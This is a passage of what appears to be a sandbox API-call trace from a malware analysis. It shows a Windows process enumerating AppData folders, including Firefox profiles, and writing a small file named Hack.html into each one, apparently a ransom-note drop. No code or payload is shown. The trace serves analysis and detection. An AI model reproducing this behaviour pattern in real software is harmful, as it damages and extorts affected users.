hFindFile=0x59a6e8) returned 1 [0077.279] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x3f [0077.279] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\", lpFilePart=0x0) returned 0x40 [0077.279] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a6e8 [0077.280] FindClose (in: hFindFile=0x59a6e8 | out: hFindFile=0x59a6e8) returned 1 [0077.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\Hack.html", lpFilePart=0x0) returned 0x49 [0077.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Publisher\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\publisher\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.280] GetFileType (hFile=0x174) returned 0x1 [0077.280] GetFileType (hFile=0x174) returned 0x1 [0077.282] WriteFile (in: hFile=0x174, lpBuffer=0x26b3658*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26b3658*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.283] CloseHandle (hObject=0x174) returned 1 [0077.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", lpFilePart=0x0) returned 0x49 [0077.284] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\", lpFilePart=0x0) returned 0x4a [0077.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.284] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.285] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.285] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", lpFilePart=0x0) returned 0x49 [0077.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\", lpFilePart=0x0) returned 0x4a [0077.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.286] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.286] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.286] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.286] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\Hack.html", lpFilePart=0x0) returned 0x53 [0077.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.286] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\taskschedulerconfig\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.287] GetFileType (hFile=0x174) returned 0x1 [0077.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.287] GetFileType (hFile=0x174) returned 0x1 [0077.287] WriteFile (in: hFile=0x174, lpBuffer=0x26b77b4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26b77b4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.288] CloseHandle (hObject=0x174) returned 1 [0077.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio", lpFilePart=0x0) returned 0x3b [0077.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\", lpFilePart=0x0) returned 0x3c [0077.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.289] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.289] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.289] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.290] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.290] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio", lpFilePart=0x0) returned 0x3b [0077.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\", lpFilePart=0x0) returned 0x3c [0077.290] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.290] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.291] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.291] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.291] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\Hack.html", lpFilePart=0x0) returned 0x45 [0077.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0077.291] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.292] GetFileType (hFile=0x174) returned 0x1 [0077.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0077.292] GetFileType (hFile=0x174) returned 0x1 [0077.292] WriteFile (in: hFile=0x174, lpBuffer=0x26bbcf0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26bbcf0*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0077.293] CloseHandle (hObject=0x174) returned 1 [0077.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Hack.html", lpFilePart=0x0) returned 0x3f [0077.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.294] GetFileType (hFile=0x174) returned 0x1 [0077.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.294] GetFileType (hFile=0x174) returned 0x1 [0077.294] WriteFile (in: hFile=0x174, lpBuffer=0x26be4f0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26be4f0*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0077.295] CloseHandle (hObject=0x174) returned 1 [0077.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help", lpFilePart=0x0) returned 0x3a [0077.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\", lpFilePart=0x0) returned 0x3b [0077.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0077.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.300] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.300] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help", lpFilePart=0x0) returned 0x3a [0077.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\", lpFilePart=0x0) returned 0x3b [0077.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0077.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.301] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.301] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\Hack.html", lpFilePart=0x0) returned 0x44 [0077.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0077.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft help\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.302] GetFileType (hFile=0x174) returned 0x1 [0077.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0077.302] GetFileType (hFile=0x174) returned 0x1 [0077.302] WriteFile (in: hFile=0x174, lpBuffer=0x26c231c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26c231c*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0077.303] CloseHandle (hObject=0x174) returned 1 [0077.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x33 [0077.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", lpFilePart=0x0) returned 0x34 [0077.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0077.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.304] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.304] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0077.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x33 [0077.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\", lpFilePart=0x0) returned 0x34 [0077.305] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a528 [0077.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.305] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0077.306] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0077.306] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0077.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0077.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x3b [0077.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\", lpFilePart=0x0) returned 0x3c [0077.306] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.308] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.308] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0077.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x3b [0077.309] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\", lpFilePart=0x0) returned 0x3c [0077.309] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0077.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.309] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0077.310] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0077.310] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0077.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0077.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x44 [0077.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\", lpFilePart=0x0) returned 0x45 [0077.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a528 [0077.311] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.311] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.311] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.312] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0077.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x44 [0077.313] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a528 [0077.313] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0077.313] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0077.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0077.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.314] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0077.316] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.316] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, 